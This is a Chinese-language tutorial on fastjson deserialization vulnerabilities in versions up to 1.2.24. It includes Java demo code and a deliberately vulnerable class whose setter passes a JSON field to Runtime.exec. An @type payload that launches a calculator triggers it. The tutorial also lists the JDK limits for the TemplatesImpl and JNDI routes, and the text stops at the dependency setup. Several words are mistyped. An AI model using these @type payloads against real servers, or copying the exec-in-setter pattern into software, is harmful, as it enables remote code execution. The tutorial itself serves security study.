一、认识fastjson

Fastison是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object 之间互相转换,不需要添加额外的依赖,能够直接跑在JDK上,Fastson采用独创的算法,将 序列化的速度提升到极致,深受用户喜爱。项目地址:https://github.com/alibaba/fastjson

img

产品主要提供两个接口 JSON.toJSONString 和 JSON.parseObject/JSON.parse 来分别实现 序列化和反序列化操作。产品识别:使用不闭合花括号进行报错回显,报错中往往带有fastjson字样。

二、fastjson使用

1.实现序列化通常使用JSON.toJSONString接口,mavaen导入fastjson依赖包

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.22</version>
        </dependency>
    //将实体类序列化为Json数据
    public static void objectToJSON(){
        Student student = new Student();
        student.setAge(5);
        student.setName("Tom");
        student.setTelephone("123456");
        String jsonstring = JSON.toJSONString(student);
        System.out.println(jsonstring);
    }

SerializerFeature.WriteClassName是JSON.toJSONString() 中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指走反序列化的类,并且调用其getter/setter/is方法。

    //场景2----将一个对象序列化成一个json串
    //SerializerFeature.WriteClassName:其实就是让json串中多了一个类的身份,将json串中的属性和对应的class创建出来的对象绑定在一起
    public static void objectToJSON2(){
        Student student = new Student();
        student.setAge(5);
        student.setName("Tom");
        student.setTelephone("123456");
        System.out.println(SerializerFeature.WriteClassName);
        String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonstring);
    }

实现反序列化通常使用JSON.parseObjec()接口。Fastison接收的JSON可以通过@type字段指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作。

如果需要反序列化出实体类中的private属性,需要添加 Feature.SupportNonPublicField 参数。实体类Student,各个私有属性只存在getter方法。例如:

    //json字符串反序列化成一个对象
    //Feature.SupportNonPublicField:反序列化私有属性
    public static void fanxuliehua(){
        String jsonString = "{\"@type\":\"ms08067.domain.Student\",\"age\":5,\"name\":\"Tom\",\"telephone\":\"123456\"}";
            Student obj = JSON.parseObject(jsonString, Student.class,Feature.SupportNonPublicField);
            System.out.println(obj);
            System.out.println(obj.getAge());
            System.out.println(obj.getClass());
    }

img

    //反序列化
    public static void fanxuliehua1(){
        String jsonString = "{\"@type\":\"ms08067.domain.Student1\",\"age\":5,\"name\":\"Tom\",\"telephone\":\"123456\"}";
        Object obj = JSON.parseObject(jsonString, Student1.class);
        System.out.println(obj);
        System.out.println(obj.getClass());
    }

img

不指定反序列化class参数,即调用JSON.parseObject(String text);进行反序列化,反序列化得到的对象是com.alibaba.fastjson.JSONObject 类型

    //反序列化
    public static void fanxuliehua3(){
        String jsonString = "{\"@type\":\"ms08067.domain.Student2\",\"age\":5,\"name\":\"Tom\",\"telephone\":\"123456\"}";
        Object obj = JSON.parseObject(jsonString,Object.class);
        System.out.println(obj);
        System.out.println(obj.getClass());
    }

高版本fastjson运行结果:

img

版本fastjson(1.2.22)运行结果:

img

    public static void fanxuliehua4(){
        String jsonString = "{\"@type\":\"ms08067.domain.Student2\",\"age\":5,\"name\":\"Tom\",\"telephone\":\"123456\"}";
        //如果使用了JSONObject来接收还原后的对象和属性,将会调用set和get方法
        JSONObject obj = JSON.parseObject(jsonString);//如果不指定反序列化后的类默认就使用JSONObject接收便不会出现类型转换错误
        System.out.println(obj);
        System.out.println(obj.getClass());
    }

高版本fastjson(1.2.61)运行结果:

img

低版本fastjson(1.2.22)运行结果:

img

三、fastjson反序列化漏洞

1.漏洞原理

Fastjson是自己实现的一套序列化和反序列化机制,不是用的Java原生的序列化和 反序列化机制。通过Fastjson反序列化漏洞,攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类开执行了恶意类中的恶意函数,进而导致代码执行。

在某些情况下进行反序列化时,会将反序列化得到的类或具子类的构造函数、getter/setter 方法执行,如果这三种方法中存在可利用的入口,则可能号致反序列化漏洞的存在。

parse()及parseObject()进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法,而 parseObject() 由于要将返回值转化为JSONObject,多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的getter 方法来将参数赋值给JSONObject

2.构造POC

一般,fastjson的反序列化漏洞的POC写法如下:@type指定了反序列化得到的类

{"@type":"xxx.xxx.xxx","xxx":"xxx",...}

关键足要找出一个特辣的在目标环境中已存在的类(目标关一定是个JavaBean),满足 如下条件:

•该类的构造函数、setter方法、getter方法中以及静态代码块的某一个存在危险操作

•危险函数可控

3.相关知识

漏洞是利用fastison autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务的敏感信息泄露,甚至可以利用此漏洞进一步对服务器进行修改,培加,删除等操作,对服务蟲造成巨大的影响。

三、fastjson<=1.2.24反序列化漏洞-场景1

1.漏洞复现

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
package ms08067.domain;

import java.io.IOException;
import java.io.Serializable;
import java.util.Properties;
/**
 * 反序列化漏洞:Student实体类
 **/
public class Student4  implements Serializable {
    private String name;
    private int age;
    private String telephone;

    private Properties properties;
    public String height;
    public Student4(){
        System.out.println("无参构造函数");
    }
    public Properties getProperties() {
        System.out.println("调用getProperties");
        return properties;
    }
    public String getHeight() {
        System.out.println("调用getHeight");
        return height;
    }
    /**
     * 不安全的setter方法
     * @return
     * @throws IOException
     */
    public void setHeight(String height) throws IOException{
        System.out.println("调用setHeight");
        Runtime.getRuntime().exec(height);
        this.height = height;
    }

    public void setProperties(Properties properties) throws IOException {
        this.properties = properties;
    }

    public String getName() {
        System.out.println("调用getName");
        return name;
    }
    public void setName(String name) throws IOException{
        System.out.println("调用setName");
        this.name = name;
    }
    public int getAge() {
        System.out.println("调用getAge");
        return age;
    }
    public String getTelephone() {
        System.out.println("调用getTelephone");
        return telephone;
    }
    @Override
    public String toString() {
        return "Student4{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", telephone='" + telephone + '\'' +
                ", properties=" + properties +
                ", height='" + height + '\'' +
                '}';
    }
}
    public static void fanxuliehua6() throws IOException {
//        Scanner scanner = new Scanner(System.in);
//        String jsonString = scanner.nextLine();
        String jsonString = "{\"@type\":\"ms08067.domain.Student4\",\"age\":5,\"name\":\"Tom\",\"telephone\":\"123456\",\"height\":\"open -a Calculator\",\"properties\":{}}";
        Object obj = JSON.parseObject(jsonString);
        System.out.println(obj);
        System.out.println(obj.getClass());
    }

img

四、fastjson<=1.2.24反序列化漏洞-场景2

影响范困:Fastson 1.2.22-1.2.24版本 利用:

• 基于Templatelmpl限制:需要设置Feature.SupportNonPublicField属性进行反序列化操作才能成功触发利用。

• 基于JdbcRowSetlmpl限制:由于是利用JNDI注入漏洞来触发的,因此主要的限制因素是JDK版本。

• 基于RMI利用的JDK版本<=6u141、7u131、8u121, 基于LDAP利用的JDK版本<=6u211、7u201、8u191。

4.1 基于TemplateImpl

环境依赖

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.22</version>
        </dependency>
        
        <dependency>
            <groupId>commons-codec</groupId>
            <artifactId>commons-codec</artifactId>
            <version>1.15</version>
        </dependency>
        
        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>2.5</version>
        </dependency>